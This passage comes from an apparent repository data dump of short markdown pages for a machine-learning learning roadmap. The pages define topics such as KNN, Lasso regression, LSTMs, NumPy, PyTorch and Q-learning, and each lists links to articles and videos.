    "content": "# K-Nearest Neighbors (KNN)\n\nK-Nearest Neighbors (KNN) is a simple algorithm used for classifying data points based on their proximity to other data points. Given a new, unclassified data point, KNN identifies the 'K' closest data points (neighbors) from the training dataset. The class that appears most frequently among these 'K' neighbors is then assigned as the class of the new data point.\n\nVisit the following resources to learn more:\n\n- [@article@Nearest Neighbors | scikit-learn](https://scikit-learn.org/stable/modules/neighbors.html)\n- [@article@K-Nearest Neighbors (KNN) Classification with scikit-learn](https://www.datacamp.com/tutorial/k-nearest-neighbor-classification-scikit-learn)\n- [@video@How to Build Your First KNN Python Model in scikit-learn (K Nearest Neighbors)](https://www.youtube.com/watch?v=Nz73vXn5afE)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/keras@zoXnXI4Wf5sxddHqYwQjP.md",
    "content": "# Keras\n\nKeras is a high-level, user-friendly neural networks API written in Python. It acts as an interface for several lower-level backends like TensorFlow, CNTK, and Theano. This allows developers to quickly prototype and build deep learning models without needing to delve into the complexities of the underlying computational frameworks. Keras focuses on enabling fast experimentation through its modularity, ease of use, and support for various neural network layers and optimizers.\n\nVisit the following resources to learn more:\n\n- [@course@Getting Familiar with Keras](https://towardsdatascience.com/getting-familiar-with-keras-dd17a110652d/)\n- [@official@Keras](https://keras.io/)\n- [@opensource@Keras](https://github.com/keras-team/keras)\n- [@article@Keras Crash Course | Deep Learning, Image Modelling, RNNs and More](https://www.youtube.com/watch?v=a8op1jBG7oM)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/lasso@EXogp25SPW1bBfb1gRDAe.md",
    "content": "# Lasso Regression\n\nLasso (Least Absolute Shrinkage and Selection Operator) regression is a linear regression technique that adds a penalty term to the ordinary least squares (OLS) objective function. This penalty is based on the absolute values of the coefficients, effectively shrinking some coefficients towards zero. This shrinkage not only helps prevent overfitting, especially when dealing with high-dimensional data, but also performs feature selection by potentially eliminating less important features from the model.\n\nVisit the following resources to learn more:\n\n- [@article@Lasso | scikit-learn](https://scikit-learn.org/stable/modules/generated/sklearn.linear_model.Lasso.html)\n- [@article@What is lasso regression?](https://www.ibm.com/think/topics/lasso-regression)\n- [@video@Lasso Regression with Scikit-Learn (Beginner Friendly)](https://www.youtube.com/watch?v=LmpBt0tenJE)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/lemmatization@pP0VeUSK9CDodgz-BQmrP.md",
    "content": "# Lemmatization\n\nLemmatization is a text normalization technique in natural language processing used to reduce words to their dictionary form, known as a lemma. Unlike stemming, which simply chops off prefixes or suffixes, lemmatization considers the context of the word and applies morphological analysis to find the base or dictionary form. This ensures that the resulting lemma is a valid word, providing a more accurate and meaningful representation of the original word.\n\nVisit the following resources to learn more:\n\n- [@article@What Are Stemming and Lemmatization?](https://www.ibm.com/think/topics/stemming-lemmatization)\n- [@article@Stemming, Lemmatization- Which One is Worth Going For?](https://towardsdatascience.com/stemming-lemmatization-which-one-is-worth-going-for-77e6ec01ad9c/)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/linear-algebra@83UDoO1vC0LjL-qpI0Jh-.md",
    "content": "# Linear Algebra\n\nLinear algebra is a branch of mathematics that deals with vector spaces and linear transformations between those spaces. It involves concepts like vectors, matrices, and systems of linear equations, and provides tools for manipulating and solving problems involving these entities. Operations such as matrix multiplication, decomposition, and eigenvalue analysis are fundamental to this field.\n\nVisit the following resources to learn more:\n\n- [@book@Linear algebra for data science](http://mitran-lab.amath.unc.edu/courses/MATH347DS/textbook.pdf)\n- [@book@Linear Algebra Done Right](https://linear.axler.net/LADR4e.pdf)\n- [@article@How I learned Linear Algebra, Probability and Statistics for Data Science](https://towardsdatascience.com/how-i-learned-linear-algebra-probability-and-statistics-for-data-science-b9d1c34dfa56/)\n- [@video@Linear Algebra for Machine Learning](https://www.youtube.com/watch?v=QCPJ0VdpM00)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/linear-algebra@tP0oBkjvJC9hrtARkgLon.md",
    "content": "# Linear Algebra"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/linear-regression@xGO1X9aZRgKcgzi6r1xq8.md",
    "content": "# Linear Regression\n\nLinear regression is a simple method used to find the best straight line that describes the relationship between a dependent variable (the one you're trying to predict) and one or more independent variables (the ones you're using to make the prediction). It works by finding the line that minimizes the sum of the squared differences between the actual values and the values predicted by the line. This line can then be used to predict the dependent variable for new values of the independent variables.\n\nVisit the following resources to learn more:\n\n- [@article@Linear Regression | scikit-learn](https://scikit-learn.org/stable/modules/linear_model.html)\n- [@article@Sklearn Linear Regression: A Complete Guide with Examples](https://www.datacamp.com/tutorial/sklearn-linear-regression)\n- [@video@Hands-On Linear Regression with Scikit-Learn in Python](https://www.youtube.com/watch?v=ukZn2RJb7TU)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/log-loss@7fOp3t283GeOn6Tf4kEuN.md",
    "content": "# Log Loss\n\nLog Loss, also known as cross-entropy loss, quantifies the performance of a classification model where the prediction input is a probability value between 0 and 1. It measures the uncertainty of the model's predicted probabilities compared to the actual labels. Lower Log Loss values indicate better calibrated predictions, meaning the predicted probabilities align more closely with the true outcomes.\n\nVisit the following resources to learn more:\n\n- [@article@log_loss | scikit-learn](https://scikit-learn.org/stable/modules/generated/sklearn.metrics.log_loss.html)\n- [@article@Intuition behind Log-loss Score](https://towardsdatascience.com/intuition-behind-log-loss-score-4e0c9979680a/)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/logistic-regression@aHOjajXwkDMOssqW1VGrm.md",
    "content": "# Logistic Regression\n\nLogistic Regression is a method used to predict the probability of a categorical outcome. Instead of predicting a continuous value, it predicts whether something belongs to a certain category (like yes/no, true/false, or 0/1). It does this by using a logistic function (also known as a sigmoid function) to squeeze the output of a linear equation between 0 and 1, representing the probability of belonging to that category. The model learns the best coefficients for the linear equation based on the training data.\n\nVisit the following resources to learn more:\n\n- [@article@Logistic Regression | scikit-learn](https://scikit-learn.org/stable/modules/generated/sklearn.linear_model.LogisticRegression.html)\n- [@article@Understanding Logistic Regression in Python](https://www.datacamp.com/tutorial/understanding-logistic-regression-python)\n- [@video@Hands-On Machine Learning: Logistic Regression with Python and Scikit-Learn](https://m.youtube.com/watch?v=aL21Y-u0SRs&pp=0gcJCfwAo7VqN5tD)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/loocv@GKMhIXEuSKdW75-24Zopb.md",
    "content": "# Leave-One-Out Cross-Validation (LOOCV)\n\nLeave-One-Out Cross-Validation (LOOCV) is a specific type of cross-validation where each single data point in the dataset is used as the test set, while the remaining data points form the training set. This process is repeated for every data point, resulting in as many models being trained and evaluated as there are data points in the original dataset. The final performance metric is then calculated by averaging the performance across all these individual evaluations.\n\nVisit the following resources to learn more:\n\n- [@article@LOOCV for Evaluating Machine Learning Algorithms](https://www.google.com/search?q=LOOCV&rlz=1C5GCEM_enES1173ES1173&oq=LOOCV&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIGCAEQRRg70gEGNzZqMGo0qAIAsAIA&sourceid=chrome&ie=UTF-8)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/loops@Dvy7BnNzK55qbh_SgOk8m.md",
    "content": "# Python Loops\n\nLoops in Python are a way to repeat a block of code multiple times. They allow you to execute a set of instructions over and over, either a specific number of times or until a certain condition is met. Python has two main types of loops: `for` loops, which are typically used to iterate over a sequence (like a list or string), and `while` loops, which continue executing as long as a given condition remains true.\n\nVisit the following resources to learn more:\n\n- [@article@Loops](https://www.learnpython.org/en/Loops)\n- [@article@Python While Loops & For Loops | Python tutorial for Beginners](https://www.youtube.com/watch?v=23vCap6iYSs)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/loss-functions@KcfFjpxFTFxI6HR6hBPrl.md",
    "content": "# Loss Functions\n\nLoss functions measure how well the network's predictions match the actual values. They quantify the difference between the predicted output and the true output for a given input. The goal during training is to minimize this loss, guiding the network to adjust its internal parameters (weights and biases) to make more accurate predictions. Different loss functions are suitable for different types of problems, such as regression or classification.\n\nVisit the following resources to learn more:\n\n- [@article@Loss Functions and Their Use In Neural Networks](https://towardsdatascience.com/loss-functions-and-their-use-in-neural-networks-a470e703f1e9/)\n- [@article@What is Loss Function? | IBM](https://www.ibm.com/think/topics/loss-function)\n- [@video@Loss in a Neural Network explained](https://www.youtube.com/watch?v=Skc8nqJirJg)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/lsmt@LdUwTWfCIcowwC-e6q3ac.md",
    "content": "# Long Short-Term Memory Networks (LSTMs)\n\nLSTMs are a special kind of recurrent neural network (RNN) architecture designed to handle the vanishing gradient problem that often occurs when training standard RNNs. They excel at processing sequential data by maintaining a \"memory\" of past inputs, allowing them to learn long-term dependencies. This memory is controlled by gates that regulate the flow of information into and out of the cell state, enabling LSTMs to selectively remember or forget information over time.\n\nVisit the following resources to learn more:\n\n- [@article@A Gentle Introduction to Long Short-Term Memory Networks by the Experts](https://machinelearningmastery.com/gentle-introduction-long-short-term-memory-networks-experts/)\n- [@video@Long Short-Term Memory (LSTM), Clearly Explained](https://www.youtube.com/watch?v=YCzL96nL7j0)\n- [@video@Simple Explanation of LSTM](https://www.youtube.com/watch?v=LfnrRPFhku)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/matplotlib@OXbATvlhBXTQ1iRGwPUfb.md",
    "content": "# Matplotlib\n\nMatplotlib is a paramount data visualization library used extensively by data analysts for generating a wide array of plots and graphs. Through Matplotlib, data analysts can convey results clearly and effectively, driving insights from complex data sets. It offers a hierarchical environment which is very natural for a data scientist to work with. Providing an object-oriented API, it allows for extensive customization and integration into larger applications. From histograms, bar charts, scatter plots to 3D graphs, the versatility of Matplotlib assists data analysts in the better comprehension and compelling representation of data.\n\nVisit the following resources to learn more:\n\n- [@official@Matplotlib](https://matplotlib.org/)\n- [@video@Learn Matplotlib in 6 minutes](https://www.youtube.com/watch?v=nzKy9GY12yo)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/matrix--matrix-operations@1IhaXJxNREq2HA1nT-lMM.md",
    "content": "# Matrix & Matrix Operations\n\nA matrix is a rectangular array of numbers, symbols, or expressions, arranged in rows and columns. Matrix operations are the rules and procedures for manipulating these matrices. These operations include addition, subtraction, multiplication, transposition (flipping rows and columns), and finding the inverse of a matrix, each with specific rules about the dimensions of the matrices involved.\n\nVisit the following resources to learn more:\n\n- [@article@Matrix (mathematics)](https://en.wikipedia.org/wiki/Matrix_(mathematics))\n- [@video@Linear Algebra - Matrix Operations](https://www.youtube.com/watch?v=p48uw2vFWQs)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/metrics-to-evaluate@5dKl6SUQhOsZfUtVR5hzw.md",
    "content": "# Model Evaluation Metrics\n\nModel evaluation metrics are quantitative measures used to assess the performance of a machine learning model. These metrics provide insights into how well the model is generalizing to unseen data and help in comparing different models or tuning hyperparameters. They quantify various aspects of model behavior, such as accuracy, precision, recall, and error rate, allowing data scientists to make informed decisions about model selection and deployment.\n\nVisit the following resources to learn more:\n\n- [@article@Metrics and scoring: quantifying the quality of predictions | scikit-learn](https://scikit-learn.org/stable/modules/model_evaluation.html)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/ml-engineer-vs-ai-engineer@GHO6lN3GTiIRH1P70IRaZ.md",
    "content": "# ML Engineer vs. AI Engineer\n\nAn ML Engineer primarily concentrates on building, deploying, and maintaining machine learning models in production environments. An AI Engineer, on the other hand, typically has a broader scope, encompassing the design and development of entire AI systems, which may include components beyond just machine learning, such as natural language processing, computer vision, and robotics.\n\nVisit the following resources to learn more:\n\n- [@video@AI VS ML Engineer What Do They Do?](https://www.youtube.com/watch?v=Ff8HHBITvfs)\n- [@video@AI vs Machine Learning](https://www.youtube.com/watch?v=4RixMPF4xis)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/mobile-apps@dJZqe47kzRqYIG-4AZTlz.md",
    "content": "# Mobile App Data\n\nMobile app data refers to the information generated and collected from applications running on mobile devices like smartphones and tablets. This data encompasses a wide range of user interactions, device characteristics, and app performance metrics. It can include user demographics, in-app behavior, location data, device type, operating system, and network information, among other things."
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/model-selection@Ddhph9saFgfMi-uUFGK75.md",
    "content": "# Model Selection in Scikit-learn\n\nModel selection is the process of choosing the best machine learning model from a set of candidate models for a given task. Scikit-learn offers a wide range of models, including linear models (like linear regression and logistic regression), tree-based models (like decision trees and random forests), support vector machines (SVMs), and neural networks, enabling you to find the most suitable model for your specific problem.\n\nVisit the following resources to learn more:\n\n- [@official@Supervised Learning Models](https://scikit-learn.org/stable/supervised_learning.html)\n- [@official@Unsupervised Learning Models](https://scikit-learn.org/stable/unsupervised_learning.html)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/multi-head-attention@J1aGPkZqDZfUwpVmC88AL.md",
    "content": "# Multi-Head Attention\n\nMulti-head attention is an attention mechanism that runs through the attention process multiple times independently. Each of these independent attention mechanisms is called a \"head.\" The outputs of all the heads are then concatenated and linearly transformed to produce the final output. This allows the model to attend to different parts of the input sequence with different learned representations, capturing a richer set of relationships than a single attention mechanism could.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Multi-Head Attention in Transformers](https://www.datacamp.com/es/tutorial/multi-head-attention-transformers)\n- [@article@Multi-head Attention](https://d2l.ai/chapter_attention-mechanisms-and-transformers/multihead-attention.html)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/natural-language-processing@JVXe2QDQaqiJYPupIMhWe.md",
    "content": "# Natural Language Processing\n\nNatural Language Processing (NLP) is a field focused on enabling computers to understand, interpret, and generate human language. It bridges the gap between human communication and computer understanding by developing algorithms and models that can process and analyze text and speech data. This allows machines to perform tasks like translation, sentiment analysis, and text summarization.\n\nVisit the following resources to learn more:\n\n- [@book@Natural Language Processing with Python](https://tjzhifei.github.io/resources/NLTK.pdf)\n- [@article@Natural Language Processing](https://www.deeplearning.ai/resources/natural-language-processing/)\n- [@article@What is Natural Language Processing (NLP)? | AWS](https://aws.amazon.com/what-is/nlp/)\n- [@video@Stanford’s Natural Language Processing with Deep Learning](https://www.youtube.com/playlist?list=PLoROMvodv4rMFqRtEuo6SGjY4XbRIVRd4)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/neural-network-nn-basics@4dxZmLg0UEaaVEORupOOC.md",
    "content": "# Neural Network (NN) Basics\n\nA neural network is a computational model inspired by the structure and function of biological neural networks. It consists of interconnected nodes, called neurons, organized in layers. These neurons process and transmit signals, learning complex patterns from data through adjusting the strengths of the connections (weights) between them.\n\nVisit the following resources to learn more:\n\n- [@course@Practical Deep Learning](https://course.fast.ai/)\n- [@video@Neural Networks Explained in 5 minutes](https://www.youtube.com/watch?v=jmmW0F0biz0)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/numpy@nKE9sO-f2fdMiuLu2xby1.md",
    "content": "# NumPy\n\nNumPy is a fundamental Python library used for numerical computing. It provides support for large, multi-dimensional arrays and matrices, along with a collection of mathematical functions to operate on these arrays efficiently. These arrays are homogeneous, meaning they contain elements of the same data type, which allows for optimized storage and computation. NumPy is widely used in data science, machine learning, and scientific computing due to its performance and ease of use.\n\nVisit the following resources to learn more:\n\n- [@official@NumPy](https://numpy.org/)\n- [@opensource@NumPy](https://github.com/numpy/numpy)\n- [@article@Python NumPy Array Tutorial](https://www.datacamp.com/tutorial/python-numpy-tutorial)\n- [@video@Learn NumPy in 1 hour!](https://www.youtube.com/watch?v=VXU4LSAQDSc)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/object-oriented-programming@nN9BumBHi-c9HKFlgL2GH.md",
    "content": "# Object Oriented Programming\n\nIn Python, object-oriented Programming (OOPs) is a programming paradigm that uses objects and classes in programming. It aims to implement real-world entities like inheritance, polymorphism, encapsulation, etc., in programming. The main concept of OOPs is to bind the data and the functions that work on that together as a single unit so that no other part of the code can access this data.\n\nVisit the following resources to learn more:\n\n- [@article@Object Oriented Programming in Python](https://realpython.com/python3-object-oriented-programming/)\n- [@video@Object Oriented Programming with Python - Full Course for Beginners](https://www.youtube.com/watch?v=Ej_02ICOIgs)\n- [@video@Object Oriented Programming (OOP) In Python - Beginner Crash Course](https://www.youtube.com/watch?v=-pEs-Bss8Wc/)\n- [@video@Python OOP Tutorial](https://www.youtube.com/watch?v=IbMDCwVm63M)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/other-data-formats@qRHeaD2udDaItAxmiIiUg.md",
    "content": "# Other Data Formats\n\nBeyond the common formats like CSV, Excel, JSON, and Parquet, data can exist in a variety of other structures. These include formats optimized for specific applications or data types. For instance, images are often stored as JPEGs or PNGs, while audio data might be in WAV or MP3 format. Relational databases store data in structured tables accessible through SQL. Furthermore, specialized formats like HDF5 are used for large, complex datasets, particularly in scientific computing, and Protocol Buffers offer an efficient way to serialize structured data. Data can also be unstructured, existing as plain text, log files, or even streaming data from sensors."
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/overlapping@BzUunjJrUMlh6K1NOOD87.md",
    "content": "# Overlapping Clustering\n\nOverlapping clustering allows data points to belong to multiple clusters simultaneously. Unlike traditional \"hard\" clustering where each point is assigned to only one cluster, overlapping clustering acknowledges that data points can exhibit characteristics of several groups. This is particularly useful when dealing with complex datasets where boundaries between clusters are not well-defined. One algorithm that implements overlapping clustering is the _Fuzzy C-Means (FCM)_ algorithm. FCM assigns a membership degree to each data point for each cluster, representing the probability of belonging to that cluster. A data point can have non-zero membership degrees for multiple clusters, indicating its partial membership in each.\n\nVisit the following resources to learn more:\n\n- [@article@Unsupervised Clustering: A Guide](https://builtin.com/articles/unsupervised-clustering)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/padding@a2PGTDnXKp759vFZzkjSF.md",
    "content": "# Padding\n\nPadding, in the context of convolutional neural networks, refers to adding extra layers of \"pixels\" or values around the input image or feature map. This is typically done with zeros (zero-padding), but other values can be used. The primary purpose of padding is to control the spatial size of the output feature maps and to manage boundary effects that arise during convolution operations. By strategically adding padding, we can preserve the original input size, prevent information loss at the edges, and improve the performance of the network.\n\nVisit the following resources to learn more:\n\n- [@article@Padding In Convolutional Neural Networks](https://www.digitalocean.com/community/tutorials/padding-in-convolutional-neural-networks)\n- [@video@Convolution padding and stride](https://www.youtube.com/watch?v=oDAPkZ53zKk)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/pandas@PnOoShqB3z4LuUvp0Gh2e.md",
    "content": "# Pandas\n\nPandas is a library written for the Python programming language for data manipulation and analysis. In particular, it offers data structures and operations for manipulating numerical tables and time series.\n\nVisit the following resources to learn more:\n\n- [@official@pandas - Python Data Analysis Library](https://pandas.pydata.org/)\n- [@video@Complete Python Pandas Data Science Tutorial! (2025 Updated Edition)](https://www.youtube.com/watch?v=2uvysYbKdjM)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/parquet@tq6WRwUpaCok9fX-0bY7m.md",
    "content": "# Parquet\n\nParquet is a columnar storage format designed for efficient data storage and retrieval. Unlike row-oriented formats, Parquet stores data by columns, which allows for better compression and faster query performance when only a subset of columns are needed. This makes it particularly well-suited for big data processing and analytics, where large datasets are common and queries often target specific columns.\n\nVisit the following resources to learn more:\n\n- [@official@Parquet](https://parquet.apache.org/)\n- [@article@Parquet - Databricks](https://www.databricks.com/glossary/what-is-parquet)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/perceptron-multi-layer-perceptrons@8425N_E43Dv5mcmEcXRIa.md",
    "content": "# Perceptron and Multi-layer Perceptrons\n\nA perceptron is a fundamental building block of neural networks, acting as a single-layer linear classifier. It takes several inputs, multiplies each by a weight, sums them up, and then applies an activation function to produce an output. Multi-layer perceptrons (MLPs) extend this concept by stacking multiple layers of perceptrons, including an input layer, one or more hidden layers, and an output layer, allowing for the modeling of more complex, non-linear relationships in data.\n\nVisit the following resources to learn more:\n\n- [@article@What is Perceptron](https://www.simplilearn.com/tutorials/deep-learning-tutorial/perceptron)\n- [@video@The Perceptron Explained](https://www.youtube.com/watch?v=i1G7PXZMnSc)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/policy-gradient@PZ-WxKGTcWTrXmYI_inD_.md",
    "content": "# Policy Gradient\n\nPolicy Gradient methods are a type of reinforcement learning algorithm that directly optimizes the policy function, which maps states to actions. Instead of learning a value function (like Q-learning) and then deriving a policy from it, policy gradient methods directly learn the optimal policy by adjusting its parameters to maximize the expected reward. This is typically done by estimating the gradient of the expected reward with respect to the policy parameters and then updating the parameters in the direction of the gradient.\n\nVisit the following resources to learn more:\n\n- [@article@Policy Gradient Theorem Explained: A Hands-On Introduction](https://www.datacamp.com/tutorial/policy-gradient-theorem)\n- [@video@An introduction to Policy Gradient methods - Deep Reinforcement Learning](https://www.youtube.com/watch?v=5P7I-xPq8u8)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/polynomial-regression@hfr2MU8QkVt9KhVi1Okpv.md",
    "content": "# Polynomial Regression\n\nPolynomial regression is a type of supervised learning algorithm used when the relationship between the input features and the output variable is non-linear. Instead of fitting a straight line, it fits a polynomial equation to the data. This allows the model to capture curves and more complex relationships, potentially leading to better predictions when a linear model is insufficient. The degree of the polynomial determines the complexity of the curve that can be fitted.\n\nVisit the following resources to learn more:\n\n- [@article@Polynomial Features | scikit-learn](https://scikit-learn.org/stable/modules/generated/sklearn.preprocessing.PolynomialFeatures.html)\n- [@article@Polynomial Regression in Python using scikit-learn (with a practical example)](https://data36.com/polynomial-regression-python-scikit-learn/)\n- [@article@Build a Polynomial Regression Model in Python using Scikit-Learn](https://medium.com/@renadalhendy/build-a-polynomial-regression-model-in-python-using-scikit-learn-1b5fd31beb02)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/pooling@I-GEE7PvpQmhQSfZmxqwA.md",
    "content": "# Pooling\n\nPooling is a downsampling technique used in convolutional neural networks (CNNs) to reduce the spatial dimensions of feature maps. It summarizes the features present in a region of the feature map into a single value. This helps to reduce the computational cost, control overfitting, and make the network more robust to variations in the input, such as small shifts or distortions.\n\nVisit the following resources to learn more:\n\n- [@article@A Gentle Introduction to Pooling Layers for Convolutional Neural Networks](https://machinelearningmastery.com/pooling-layers-for-convolutional-neural-networks/)\n- [@video@Understanding CNN | Pooling in CNNN](https://www.youtube.com/watch?v=azRi6Bz7yc0)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/precision@mja35tndhAT5z_ysv-hDe.md",
    "content": "# Precision\n\nPrecision measures how accurate a model's positive predictions are. It tells you, out of all the instances the model predicted as positive, what proportion were actually positive. In simpler terms, it answers the question: \"When the model says something is true, how often is it actually true?\". The formula for precision is: Precision = True Positives / (True Positives + False Positives).\n\nVisit the following resources to learn more:\n\n- [@article@Precision | scikit-learn](https://scikit-learn.org/stable/modules/generated/sklearn.metrics.precision_score.html)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/prediction@vBnqnIh_xSn0OuY9oQ5e-.md",
    "content": "# Model Prediction in Scikit-learn\n\nIn scikit-learn, prediction means using a trained machine learning model to estimate an output (or target variable) for new, unseen data. After a model is trained on a dataset, it learns the relationship between the input features and the target variable. To make a prediction, you provide the model with new input features, and it uses the learned relationship to generate a predicted value for the target. This is typically done using the `.predict()` method on a trained model object, which takes the new data as input and returns the model's predictions.\n\nVisit the following resources to learn more:\n\n- [@article@Metrics and scoring: quantifying the quality of predictions](https://scikit-learn.org/stable/modules/model_evaluation.html)\n- [@article@How to Make Predictions with scikit-learn](https://machinelearningmastery.com/make-predictions-scikit-learn/)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/preprocessing-techniques@MdhfkuKWTDCE73hczzG3D.md",
    "content": "# Preprocessing Techniques\n\nPreprocessing techniques in data cleaning involve transforming raw data into a more suitable format for machine learning models. This often includes handling missing values by either imputing them with estimated values or removing rows/columns containing them. It also encompasses scaling numerical features to a similar range to prevent features with larger values from dominating the model, and encoding categorical features into numerical representations that algorithms can understand. These steps aim to improve the quality and consistency of the data, leading to better model performance.\n\nVisit the following resources to learn more:\n\n- [@article@Data Preprocessing: A Complete Guide with Python Examples](https://www.datacamp.com/blog/data-preprocessing)\n- [@video@16 Data Pre Processing Techniques in 20 Minutes | Data Preprocessing in machine learning](https://www.youtube.com/watch?v=oggHzC_L9uc)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/principal-component-analysis@K-x_L3z8JTSHwtTeHm4EG.md",
    "content": "# Principal Component Analysis\n\nPrincipal Component Analysis (PCA) is a technique used to reduce the number of variables in a dataset while preserving the most important information. It transforms the original variables into a new set of variables called principal components, which are ordered by the amount of variance they explain. The first principal component captures the most variance, the second captures the second most, and so on. By selecting a smaller number of these principal components, you can reduce the dimensionality of the data without losing too much information.\n\nVisit the following resources to learn more:\n\n- [@article@PCA | scikit-learn](https://scikit-learn.org/stable/modules/generated/sklearn.decomposition.PCA.html)\n- [@article@What is principal component analysis (PCA)?](https://www.ibm.com/think/topics/principal-component-analysis)\n- [@video@PCA Analysis in Python Explained (Scikit - Learn)](https://www.youtube.com/watch?v=6uwa9EkUqpg)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/probabilistic@VrLaUipVKWvwnFF0ZbIlo.md",
    "content": "# Probabilistic Clustering\n\nProbabilistic clustering assumes that the data is generated from a mixture of probability distributions. Instead of assigning each data point to a single cluster, it provides the probability of a data point belonging to each cluster. A common example is the Gaussian Mixture Model (GMM), where it's assumed that the data points are generated from a mixture of Gaussian distributions. Scikit-learn provides an implementation of GMM that can be used for probabilistic clustering.\n\nVisit the following resources to learn more:\n\n- [@article@Gaussian mixture models](https://scikit-learn.org/stable/modules/mixture.html#mixture)\n- [@article@Gaussian Mixture Model Explained](https://scikit-learn.org/stable/modules/mixture.html#mixture)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/probability@tP0oBkjvJC9hrtARkgLon.md",
    "content": "# Probability\n\nProbability is a way to quantify the likelihood of an event occurring. It provides a numerical measure, ranging from 0 to 1, that represents the likelihood of a specific outcome occurring. A probability of 0 indicates impossibility, while a probability of 1 signifies certainty. It's a fundamental concept for understanding uncertainty and making predictions based on available data.\n\nVisit the following resources to learn more:\n\n- [@book@Probability and Statistics: The Science of Uncertainty](https://utstat.utoronto.ca/mikevans/jeffrosenthal/book.pdf)\n- [@article@Probability for machine learning](https://towardsdatascience.com/probability-for-machine-learning-b4150953df09/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@Probability for Data Science & Machine Learning](https://www.youtube.com/watch?v=sEte4hXEgJ8)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/python@qDn1elMoPIBgQSCWiYkLI.md",
    "content": "# Python\n\nPython is an interpreted high-level general-purpose programming language. Its design philosophy emphasizes code readability with its significant use of indentation. Its language constructs as well as its object-oriented approach aim to help programmers write clear, logical code for small and large-scale projects. Python is dynamically-typed and garbage-collected. It supports multiple programming paradigms, including structured (particularly, procedural), object-oriented and functional programming. Python is often described as a \"batteries included\" language due to its comprehensive standard library.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Python Developer Roadmap](https://roadmap.sh/python)\n- [@official@Python Website](https://www.python.org/)\n- [@article@Python - Wikipedia](https://en.wikipedia.org/wiki/Python_(programming_language))\n- [@article@Tutorial Series: How to Code in Python](https://www.digitalocean.com/community/tutorials/how-to-write-your-first-python-3-program)\n- [@article@Google's Python Class](https://developers.google.com/edu/python)\n- [@video@Learn Python - Full Course](https://www.youtube.com/watch?v=4M87qBgpafk)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/pytorch@7RSW-Pypf3QpZp4O21AGl.md",
    "content": "# PyTorch\n\nPyTorch is an open-source machine learning framework primarily developed by Meta AI. It's used for a variety of applications, including computer vision, natural language processing, and reinforcement learning. PyTorch is known for its dynamic computation graph, which allows for more flexibility and easier debugging compared to static graph frameworks. It provides a comprehensive set of tools and libraries to build and train neural networks.\n\nVisit the following resources to learn more:\n\n- [@official@PyTorch](https://pytorch.org/)\n- [@article@What is PyTorc? | IBM](https://www.ibm.com/think/topics/pytorch)\n- [@video@PyTorch for Deep Learning & Machine Learning – Full Course](https://www.youtube.com/watch?v=V_xro1bcAuA)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/q-learning@wxq5dkrpgvs3axmLmeHCk.md",
    "content": "# Q-Learning\n\nQ-Learning is a type of reinforcement learning algorithm that aims to find the best action to take given the current state. It works by learning a \"Q-function,\" which estimates the expected cumulative reward for taking a specific action in a particular state and following the optimal policy thereafter. This Q-function is iteratively updated based on the agent's experiences, allowing it to learn the optimal policy without needing a model of the environment.\n\nVisit the following resources to learn more:\n\n- [@article@An Introduction to Q-Learning: A Tutorial For Beginners](https://www.datacamp.com/tutorial/introduction-q-learning-beginner-tutorial)\n- [@article@A Gentle Introduction to Q-Learning](https://machinelearningmastery.com/a-gentle-introduction-to-q-learning/)\n- [@video@What is Q-Learning (back to basics)](https://www.youtube.com/watch?v=nOBm4aYEYR4)"
  },
  {
    "path": "src/data/roadmaps/machine-learning/content/random-variances-pdfs@P576TdYcbE6v3RpJntiKw.md",
